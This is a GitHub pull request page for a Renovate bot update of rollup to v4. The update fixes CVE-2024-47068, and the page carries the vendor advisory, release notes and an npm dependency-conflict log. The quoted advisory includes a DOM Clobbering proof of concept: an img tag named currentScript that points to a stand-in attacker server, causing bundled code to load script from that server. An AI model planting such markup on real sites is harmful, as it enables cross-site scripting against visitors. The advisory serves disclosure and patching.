Skip to content

chore(deps): [security] update dependency rollup to v4, fix CVE-2024-47068 #1023

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 2 commits into from
Oct 21, 2024

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Sep 24, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
rollup (source) ^3.29.4 -> ^4.0.0 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

v4.22.4

Compare Source

2024-09-21

Bug Fixes
  • Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#​5671)
Pull Requests

v4.22.3

Compare Source

2024-09-21

Bug Fixes
  • Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies (#​5669)
Pull Requests

v4.22.2

Compare Source

2024-09-20

Bug Fixes
  • Revert fix for side effect free modules until other issues are investigated (#​5667)
Pull Requests

v4.22.1

Compare Source

2024-09-20

Bug Fixes
  • Revert #​5644 "stable chunk hashes" while issues are being investigated
Pull Requests

v4.22.0

Compare Source

2024-09-19

Features
  • Add additional known global values to avoid access side effects (#​5651)
Bug Fixes
  • Ensure deterministic chunk hash generation despite async renderChunk hook (#​5644)
  • Improve side effect detection when using "smallest" treeshaking preset when imports are optimized away (#​5658)
Pull Requests

v4.21.3

Compare Source

2024-09-12

Bug Fixes
  • Always respect side effects in left-hand side of optional chain (#​5642)
  • Update stack trace for augmented errors to not hide relevant information (#​5640)
Pull Requests

v4.21.2

Compare Source

2024-08-30

Bug Fixes
  • Handle IIFE/UMD namespace definitions conflicting with a builtin property (#​5605)
Pull Requests

v4.21.1

Compare Source

2024-08-26

Bug Fixes
  • Ensure closeWatcher hook is called when watch mode is aborted via Ctrl+C (#​5618)
  • Do not produce invalid code for import.meta.url in compact mode (#​5624)
  • Do not throw when generating chunk names when preserving modules in Windows (#​5625)
Pull Requests

v4.21.0

Compare Source

2024-08-18

Features
  • Add option to configure directory for virtual modules when preserving modules (#​5602)
Pull Requests

v4.20.0

Compare Source

2024-08-03

Features
  • Allow plugins to specify the original file name when emitting assets (#​5596)
Pull Requests

v4.19.2

Compare Source

2024-08-01

Bug Fixes
  • Avoid "cannot get value of null" error when using optional chaining with namespaces (#​5597)
Pull Requests

v4.19.1

Compare Source

2024-07-27

Bug Fixes
  • Do not remove parantheses when tree-shaking logical expressions (#​5584)
  • Do not ignore side effects in calls left of an optional chaining operator (#​5589)
Pull Requests

v4.19.0

Compare Source

2024-07-20

Features
  • Implement support for decorators (#​5562)
Bug Fixes
  • Improve soucemap generation when tree-shaking logical expressions (#​5581)
Pull Requests

v4.18.1

Compare Source

2024-07-08

Bug Fixes
  • Prevent "%" in generated file names to ensure imports resolve (#​5535)
Pull Requests

v4.18.0

Compare Source

2024-05-22

Features
  • Resolve import.meta.filename and .dirname in transpiled plugins (#​5520)
Pull Requests

v4.17.2

Compare Source

2024-04-30

Bug Fixes
  • Fix tree-shaking problems when using spread arguments (#​5503)
Pull Requests

v4.17.1

Compare Source

2024-04-29

Bug Fixes
  • Prevent infinite recursions for certain constructor invocations (#​5500)
Pull Requests

v4.17.0

Compare Source

2024-04-27

Features
  • Track function call arguments to optimize functions only called once or with the same literal values (re-release from 4.16.0) (#​5483)
Bug Fixes
  • Reduce browser WASM size to a fraction by changing optimization settings (#​5494)
Pull Requests

v4.16.4

Compare Source

2024-04-23

Bug Fixes
  • Revert function parameter tracking logic introduced in 4.16.0 to work on some remaining issues (#​5487)
Pull Requests

v4.16.3

Compare Source

2024-04-23

Bug Fixes
  • Do not optimize IIFEs that have a name and are again referenced inside their definition (#​5486)
Pull Requests

v4.16.2

Compare Source

2024-04-22

Bug Fixes
  • Resolve a situation condition where reassignments of function parameters were not tracked properly (#​5482)
  • Make sure that for armv7 packages, only one package is downloaded for the user (musl or gnu) (#​5479)
Pull Requests

v4.16.1

Compare Source

2024-04-21

Bug Fixes
  • Fix crash when rendering logical or conditional expressions (#​5481)
Pull Requests

v4.16.0

Compare Source

2024-04-21

Features
  • Track function call arguments to optimize functions only called once or with the same literal values (#​5443)
Pull Requests

v4.15.0

Compare Source

2024-04-20

Features
  • Add output.importAttributesKey option to select whether to use "with" or "assert" for import attributes (#​5474)
Pull Requests

v4.14.3

Compare Source

2024-04-15

Bug Fixes
  • Support Alpine Linux and other MUSL builds on ARM (#​5471)
Pull Requests

v4.14.2

Compare Source

2024-04-12

Bug Fixes
  • Do not create invalid code when reexporting both a namespace and the default export from that namespace (#​5466)
  • Ensure ppc64 platform is properly detected (#​5460)
Pull Requests

v4.14.1

Compare Source

2024-04-07

Bug Fixes
  • Show better error when running on musl Linux where the musl build is not supported (#​5454)
Pull Requests

v4.14.0

Compare Source

2024-04-03

Features
  • Display error causes in Rollup CLI (#​5422)
  • Add basic support for explicit resource management via "using" and "await using" (#​5423)
Pull Requests

v4.13.2

Compare Source

2024-03-28

Bug Fixes
  • Ensure accessing module info is cached after the build phase for improved performance (#​5438)
  • Support powerpc64le CPUs (#​5350)
Pull Requests

v4.13.1

Compare Source

2024-03-27

Bug Fixes
  • Add new linux-s390x-gnu native binary package (#​5346)
Pull Requests

v4.13.0

Compare Source

2024-03-12

Features
  • Ensure that the location of parse errors and other logs is encoded in the error message as well (#​5424)
Pull Requests

v4.12.1

Compare Source

2024-03-06

Bug Fixes
  • Escape special characters in file references (#​5404)
Pull Requests

v4.12.0

Compare Source

2024-02-16

Features
  • Improve raw bundling performance by 10-15% when not using the cache or plugins that return an AST (#​5391)
Pull Requests

v4.11.0

Compare Source

2024-02-15

Features
  • Add output.reexportProtoFromExternal option to disable special code for handling __proto__ reexports (#​5380)
Bug Fixes
  • Ensure namespace reexport code can be parsed by cjs-module-lexer (#​5380)
  • Throw when trying to reassing const variables (#​5388)
Pull Requests

v4.10.0

Compare Source

2024-02-10

Features
  • Support base-36 and base-16 hashes again via new output.hashCharacters option (#​5371)
Bug Fixes
  • Do not crash process for panics in native code but throw them as JavaScript errors (#​5383)
Pull Requests

v4.9.6

Compare Source

2024-01-21

Bug Fixes
  • Detect side effects when an element that was pushed into an array is modified via the array (#​5352)
Pull Requests

v4.9.5

Compare Source

2024-01-12

Bug Fixes
  • Fix issue where on Windows, Rollup would not load due to problems with the MSVC executable (#​5335)
Pull Requests

v4.9.4

Compare Source

2024-01-06

Bug Fixes
  • Use quotes for keys in namespaces that are only numbers but are not valid integers (#​5328)
  • Allow to have comments between pure annotations and the annoted node (#​5332)
Pull Requests

v4.9.3

Compare Source

2024-01-05

Bug Fixes
  • Support __proto__ as export/import name (#​5313)
  • Use ESTree AST type over custom type in user-facing types (#​5323)
Pull Requests

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from a team as a code owner September 24, 2024 08:56
Copy link
Contributor Author

renovate bot commented Sep 24, 2024

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: [email protected]
npm error Found: [email protected]
npm error node_modules/rollup
npm error   dev rollup@"^4.0.0" from the root project
npm error   peerOptional rollup@"^1.20.0||^2.0.0||^3.0.0||^4.0.0" from @rollup/[email protected]
npm error   node_modules/@rollup/plugin-json
npm error     @rollup/plugin-json@"^6.0.1" from [email protected]
npm error     node_modules/ng-packagr
npm error       dev ng-packagr@"^17.3.0" from the root project
npm error       2 more (@angular-devkit/build-angular, angular)
npm error   5 more (@rollup/plugin-node-resolve, ...)
npm error
npm error Could not resolve dependency:
npm error peer rollup@"^3.0" from [email protected]
npm error node_modules/rollup-plugin-dts
npm error   dev rollup-plugin-dts@"^5.3.1" from the root project
npm error
npm error Conflicting peer dependency: [email protected]
npm error node_modules/rollup
npm error   peer rollup@"^3.0" from [email protected]
npm error   node_modules/rollup-plugin-dts
npm error     dev rollup-plugin-dts@"^5.3.1" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry
npm error this command with --force or --legacy-peer-deps
npm error to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /tmp/renovate/cache/others/npm/_logs/2024-10-17T19_09_52_718Z-eresolve-report.txt
npm error A complete log of this run can be found in: /tmp/renovate/cache/others/npm/_logs/2024-10-17T19_09_52_718Z-debug-0.log

@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 8 times, most recently from 872e1ac to 74c5541 Compare October 1, 2024 20:31
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 74c5541 to a4a98d1 Compare October 15, 2024 19:31
@toddbaert toddbaert self-requested a review October 16, 2024 16:35
Copy link
Member

@toddbaert toddbaert left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For this to work we need to update the rollup dts plugin, and then manually test the result. I will do this, but blocking int he meantime.

@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from eafee7f to e605ab3 Compare October 17, 2024 16:18
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from e605ab3 to fae680e Compare October 17, 2024 19:09
Signed-off-by: Todd Baert <[email protected]>
Copy link
Contributor Author

renovate bot commented Oct 21, 2024

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@toddbaert toddbaert changed the title chore(deps): update dependency rollup to v4 [security] chore(deps): [security] update dependency rollup to v4, fix CVE-2024-47068 Oct 21, 2024
@toddbaert toddbaert self-requested a review October 21, 2024 17:19
@toddbaert toddbaert merged commit 0a99a01 into main Oct 21, 2024
9 checks passed
@toddbaert toddbaert deleted the renovate/npm-rollup-vulnerability branch October 21, 2024 17:21
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant